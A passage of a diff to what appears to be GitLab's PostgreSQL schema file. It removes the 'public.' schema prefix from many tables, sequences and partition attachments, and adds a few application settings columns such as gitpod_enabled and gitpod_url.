+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5811,10 +5813,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_41 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_41 FOR VALUES WITH (modulus 64, remainder 41);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_41 FOR VALUES WITH (modulus 64, remainder 41);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_42 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -5944,10 +5946,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_42 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_42 FOR VALUES WITH (modulus 64, remainder 42);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_42 FOR VALUES WITH (modulus 64, remainder 42);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_43 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -6077,10 +6079,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_43 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_43 FOR VALUES WITH (modulus 64, remainder 43);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_43 FOR VALUES WITH (modulus 64, remainder 43);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_44 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -6210,10 +6212,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_44 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_44 FOR VALUES WITH (modulus 64, remainder 44);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_44 FOR VALUES WITH (modulus 64, remainder 44);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_45 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -6343,10 +6345,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_45 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_45 FOR VALUES WITH (modulus 64, remainder 45);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_45 FOR VALUES WITH (modulus 64, remainder 45);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_46 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -6476,10 +6478,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_46 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_46 FOR VALUES WITH (modulus 64, remainder 46);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_46 FOR VALUES WITH (modulus 64, remainder 46);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_47 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -6609,10 +6611,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_47 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_47 FOR VALUES WITH (modulus 64, remainder 47);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_47 FOR VALUES WITH (modulus 64, remainder 47);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_48 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -6742,10 +6744,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_48 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_48 FOR VALUES WITH (modulus 64, remainder 48);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_48 FOR VALUES WITH (modulus 64, remainder 48);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_49 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -6875,10 +6877,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_49 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_49 FOR VALUES WITH (modulus 64, remainder 49);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_49 FOR VALUES WITH (modulus 64, remainder 49);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_50 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7008,10 +7010,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_50 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_50 FOR VALUES WITH (modulus 64, remainder 50);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_50 FOR VALUES WITH (modulus 64, remainder 50);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_51 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7141,10 +7143,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_51 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_51 FOR VALUES WITH (modulus 64, remainder 51);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_51 FOR VALUES WITH (modulus 64, remainder 51);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_52 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7274,10 +7276,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_52 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_52 FOR VALUES WITH (modulus 64, remainder 52);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_52 FOR VALUES WITH (modulus 64, remainder 52);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_53 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7407,10 +7409,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_53 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_53 FOR VALUES WITH (modulus 64, remainder 53);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_53 FOR VALUES WITH (modulus 64, remainder 53);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_54 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7540,10 +7542,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_54 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_54 FOR VALUES WITH (modulus 64, remainder 54);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_54 FOR VALUES WITH (modulus 64, remainder 54);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_55 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7673,10 +7675,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_55 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_55 FOR VALUES WITH (modulus 64, remainder 55);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_55 FOR VALUES WITH (modulus 64, remainder 55);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_56 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7806,10 +7808,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_56 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_56 FOR VALUES WITH (modulus 64, remainder 56);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_56 FOR VALUES WITH (modulus 64, remainder 56);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_57 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -7939,10 +7941,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_57 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_57 FOR VALUES WITH (modulus 64, remainder 57);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_57 FOR VALUES WITH (modulus 64, remainder 57);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_58 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -8072,10 +8074,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_58 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_58 FOR VALUES WITH (modulus 64, remainder 58);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_58 FOR VALUES WITH (modulus 64, remainder 58);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_59 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -8205,10 +8207,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_59 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_59 FOR VALUES WITH (modulus 64, remainder 59);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_59 FOR VALUES WITH (modulus 64, remainder 59);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_60 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -8338,10 +8340,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_60 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_60 FOR VALUES WITH (modulus 64, remainder 60);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_60 FOR VALUES WITH (modulus 64, remainder 60);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_61 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -8471,10 +8473,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_61 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_61 FOR VALUES WITH (modulus 64, remainder 61);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_61 FOR VALUES WITH (modulus 64, remainder 61);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_62 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -8604,10 +8606,10 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_62 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_62 FOR VALUES WITH (modulus 64, remainder 62);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_62 FOR VALUES WITH (modulus 64, remainder 62);
CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_63 (
- id bigint DEFAULT nextval('public.product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
+ id bigint DEFAULT nextval('product_analytics_events_experimental_id_seq'::regclass) NOT NULL,
project_id integer NOT NULL,
platform character varying(255),
etl_tstamp timestamp with time zone,
@@ -8737,9 +8739,9 @@ CREATE TABLE gitlab_partitions_static.product_analytics_events_experimental_63 (
event_fingerprint character varying(128),
true_tstamp timestamp with time zone
);
-ALTER TABLE ONLY public.product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_63 FOR VALUES WITH (modulus 64, remainder 63);
+ALTER TABLE ONLY product_analytics_events_experimental ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_63 FOR VALUES WITH (modulus 64, remainder 63);
-CREATE TABLE public.abuse_reports (
+CREATE TABLE abuse_reports (
id integer NOT NULL,
reporter_id integer,
user_id integer,
@@ -8750,31 +8752,31 @@ CREATE TABLE public.abuse_reports (
cached_markdown_version integer
);
-CREATE SEQUENCE public.abuse_reports_id_seq
+CREATE SEQUENCE abuse_reports_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.abuse_reports_id_seq OWNED BY public.abuse_reports.id;
+ALTER SEQUENCE abuse_reports_id_seq OWNED BY abuse_reports.id;
-CREATE TABLE public.alert_management_alert_assignees (
+CREATE TABLE alert_management_alert_assignees (
id bigint NOT NULL,
user_id bigint NOT NULL,
alert_id bigint NOT NULL
);
-CREATE SEQUENCE public.alert_management_alert_assignees_id_seq
+CREATE SEQUENCE alert_management_alert_assignees_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.alert_management_alert_assignees_id_seq OWNED BY public.alert_management_alert_assignees.id;
+ALTER SEQUENCE alert_management_alert_assignees_id_seq OWNED BY alert_management_alert_assignees.id;
-CREATE TABLE public.alert_management_alert_user_mentions (
+CREATE TABLE alert_management_alert_user_mentions (
id bigint NOT NULL,
alert_management_alert_id bigint NOT NULL,
note_id bigint,
@@ -8783,16 +8785,16 @@ CREATE TABLE public.alert_management_alert_user_mentions (
mentioned_groups_ids integer[]
);
-CREATE SEQUENCE public.alert_management_alert_user_mentions_id_seq
+CREATE SEQUENCE alert_management_alert_user_mentions_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.alert_management_alert_user_mentions_id_seq OWNED BY public.alert_management_alert_user_mentions.id;
+ALTER SEQUENCE alert_management_alert_user_mentions_id_seq OWNED BY alert_management_alert_user_mentions.id;
-CREATE TABLE public.alert_management_alerts (
+CREATE TABLE alert_management_alerts (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -8819,16 +8821,16 @@ CREATE TABLE public.alert_management_alerts (
CONSTRAINT check_d1d1c2d14c CHECK ((char_length(title) <= 200))
);
-CREATE SEQUENCE public.alert_management_alerts_id_seq
+CREATE SEQUENCE alert_management_alerts_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.alert_management_alerts_id_seq OWNED BY public.alert_management_alerts.id;
+ALTER SEQUENCE alert_management_alerts_id_seq OWNED BY alert_management_alerts.id;
-CREATE TABLE public.alerts_service_data (
+CREATE TABLE alerts_service_data (
id bigint NOT NULL,
service_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -8837,16 +8839,16 @@ CREATE TABLE public.alerts_service_data (
encrypted_token_iv character varying(255)
);
-CREATE SEQUENCE public.alerts_service_data_id_seq
+CREATE SEQUENCE alerts_service_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.alerts_service_data_id_seq OWNED BY public.alerts_service_data.id;
+ALTER SEQUENCE alerts_service_data_id_seq OWNED BY alerts_service_data.id;
-CREATE TABLE public.allowed_email_domains (
+CREATE TABLE allowed_email_domains (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -8854,16 +8856,16 @@ CREATE TABLE public.allowed_email_domains (
domain character varying(255) NOT NULL
);
-CREATE SEQUENCE public.allowed_email_domains_id_seq
+CREATE SEQUENCE allowed_email_domains_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.allowed_email_domains_id_seq OWNED BY public.allowed_email_domains.id;
+ALTER SEQUENCE allowed_email_domains_id_seq OWNED BY allowed_email_domains.id;
-CREATE TABLE public.analytics_cycle_analytics_group_stages (
+CREATE TABLE analytics_cycle_analytics_group_stages (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -8879,16 +8881,16 @@ CREATE TABLE public.analytics_cycle_analytics_group_stages (
group_value_stream_id bigint NOT NULL
);
-CREATE SEQUENCE public.analytics_cycle_analytics_group_stages_id_seq
+CREATE SEQUENCE analytics_cycle_analytics_group_stages_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.analytics_cycle_analytics_group_stages_id_seq OWNED BY public.analytics_cycle_analytics_group_stages.id;
+ALTER SEQUENCE analytics_cycle_analytics_group_stages_id_seq OWNED BY analytics_cycle_analytics_group_stages.id;
-CREATE TABLE public.analytics_cycle_analytics_group_value_streams (
+CREATE TABLE analytics_cycle_analytics_group_value_streams (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -8897,16 +8899,16 @@ CREATE TABLE public.analytics_cycle_analytics_group_value_streams (
CONSTRAINT check_bc1ed5f1f7 CHECK ((char_length(name) <= 100))
);
-CREATE SEQUENCE public.analytics_cycle_analytics_group_value_streams_id_seq
+CREATE SEQUENCE analytics_cycle_analytics_group_value_streams_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.analytics_cycle_analytics_group_value_streams_id_seq OWNED BY public.analytics_cycle_analytics_group_value_streams.id;
+ALTER SEQUENCE analytics_cycle_analytics_group_value_streams_id_seq OWNED BY analytics_cycle_analytics_group_value_streams.id;
-CREATE TABLE public.analytics_cycle_analytics_project_stages (
+CREATE TABLE analytics_cycle_analytics_project_stages (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -8921,16 +8923,32 @@ CREATE TABLE public.analytics_cycle_analytics_project_stages (
name character varying(255) NOT NULL
);
-CREATE SEQUENCE public.analytics_cycle_analytics_project_stages_id_seq
+CREATE SEQUENCE analytics_cycle_analytics_project_stages_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE analytics_cycle_analytics_project_stages_id_seq OWNED BY analytics_cycle_analytics_project_stages.id;
+
+CREATE TABLE analytics_instance_statistics_measurements (
+ id bigint NOT NULL,
+ count bigint NOT NULL,
+ recorded_at timestamp with time zone NOT NULL,
+ identifier smallint NOT NULL
+);
+
+CREATE SEQUENCE analytics_instance_statistics_measurements_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.analytics_cycle_analytics_project_stages_id_seq OWNED BY public.analytics_cycle_analytics_project_stages.id;
+ALTER SEQUENCE analytics_instance_statistics_measurements_id_seq OWNED BY analytics_instance_statistics_measurements.id;
-CREATE TABLE public.analytics_language_trend_repository_languages (
+CREATE TABLE analytics_language_trend_repository_languages (
file_count integer DEFAULT 0 NOT NULL,
programming_language_id bigint NOT NULL,
project_id bigint NOT NULL,
@@ -8940,7 +8958,7 @@ CREATE TABLE public.analytics_language_trend_repository_languages (
snapshot_date date NOT NULL
);
-CREATE TABLE public.appearances (
+CREATE TABLE appearances (
id integer NOT NULL,
title character varying NOT NULL,
description text NOT NULL,
@@ -8966,32 +8984,32 @@ CREATE TABLE public.appearances (
CONSTRAINT appearances_profile_image_guidelines CHECK ((char_length(profile_image_guidelines) <= 4096))
);
-CREATE SEQUENCE public.appearances_id_seq
+CREATE SEQUENCE appearances_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.appearances_id_seq OWNED BY public.appearances.id;
+ALTER SEQUENCE appearances_id_seq OWNED BY appearances.id;
-CREATE TABLE public.application_setting_terms (
+CREATE TABLE application_setting_terms (
id integer NOT NULL,
cached_markdown_version integer,
terms text NOT NULL,
terms_html text
);
-CREATE SEQUENCE public.application_setting_terms_id_seq
+CREATE SEQUENCE application_setting_terms_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.application_setting_terms_id_seq OWNED BY public.application_setting_terms.id;
+ALTER SEQUENCE application_setting_terms_id_seq OWNED BY application_setting_terms.id;
-CREATE TABLE public.application_settings (
+CREATE TABLE application_settings (
id integer NOT NULL,
default_projects_limit integer,
signup_enabled boolean,
@@ -9250,6 +9268,11 @@ CREATE TABLE public.application_settings (
wiki_page_max_content_bytes bigint DEFAULT 52428800 NOT NULL,
elasticsearch_indexed_file_size_limit_kb integer DEFAULT 1024 NOT NULL,
enforce_namespace_storage_limit boolean DEFAULT false NOT NULL,
+ container_registry_delete_tags_service_timeout integer DEFAULT 250 NOT NULL,
+ elasticsearch_client_request_timeout integer DEFAULT 0 NOT NULL,
+ gitpod_enabled boolean DEFAULT false NOT NULL,
+ gitpod_url text DEFAULT 'https://gitpod.io/'::text,
+ CONSTRAINT check_2dba05b802 CHECK ((char_length(gitpod_url) <= 255)),
CONSTRAINT check_51700b31b5 CHECK ((char_length(default_branch_name) <= 255)),
CONSTRAINT check_9c6c447a13 CHECK ((char_length(maintenance_mode_message) <= 255)),
CONSTRAINT check_d03919528d CHECK ((char_length(container_registry_vendor) <= 255)),
@@ -9257,37 +9280,36 @@ CREATE TABLE public.application_settings (
CONSTRAINT check_e5aba18f02 CHECK ((char_length(container_registry_version) <= 255))
);
-CREATE SEQUENCE public.application_settings_id_seq
+CREATE SEQUENCE application_settings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.application_settings_id_seq OWNED BY public.application_settings.id;
+ALTER SEQUENCE application_settings_id_seq OWNED BY application_settings.id;
-CREATE TABLE public.approval_merge_request_rule_sources (
+CREATE TABLE approval_merge_request_rule_sources (
id bigint NOT NULL,
approval_merge_request_rule_id bigint NOT NULL,
approval_project_rule_id bigint NOT NULL
);
-CREATE SEQUENCE public.approval_merge_request_rule_sources_id_seq
+CREATE SEQUENCE approval_merge_request_rule_sources_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_merge_request_rule_sources_id_seq OWNED BY public.approval_merge_request_rule_sources.id;
+ALTER SEQUENCE approval_merge_request_rule_sources_id_seq OWNED BY approval_merge_request_rule_sources.id;
-CREATE TABLE public.approval_merge_request_rules (
+CREATE TABLE approval_merge_request_rules (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
merge_request_id integer NOT NULL,
approvals_required smallint DEFAULT 0 NOT NULL,
- code_owner boolean DEFAULT false NOT NULL,
